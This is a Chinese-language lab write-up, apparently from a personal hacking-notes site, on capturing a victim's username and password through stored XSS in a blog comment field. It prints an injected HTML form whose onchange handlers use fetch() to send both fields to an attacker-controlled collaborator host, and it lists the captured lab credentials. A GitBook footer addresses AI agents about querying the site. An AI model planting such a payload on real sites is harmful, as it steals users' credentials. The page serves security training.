> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/password-capture-via-xss.md).

# 通过 XSS 捕获密码

### 利用跨站脚本攻击捕获密码

此实验室在博客评论功能中包含一个持久型 XSS 漏洞。模拟用户（受害者）会在发布后查看所有评论。教学目标是利用此缺陷窃取受害者的用户名和密码，然后使用这些凭据进行登录。

一个小表单被注入到评论中。当受害者输入其信息时， `fetch()` 请求会将这些值发送到攻击者控制的 URL，从而使用户能够捕获凭据。

注入的表单

```html
用户：
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

密码：
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* 上述表单会在每次修改时触发将 `username` 和 `密码` 字段发送到监听的 URL（`onchange`).

<figure><img src="/files/436d4a6af50bd5dc962d03fabb5fea5230e0e558" alt=""><figcaption></figcaption></figure>

已捕获的凭据：

* **用户名：** `administrator`

<figure><img src="/files/95d63d6cef3c668be2a24b905d9c1a036a1923b6" alt=""><figcaption></figcaption></figure>

* **密码：** `qzkcz73zlwri7yiwpf31`

<figure><img src="/files/e2ebcc8cbba2cf37e86ccea7b0655d0e3d00dc25" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/password-capture-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
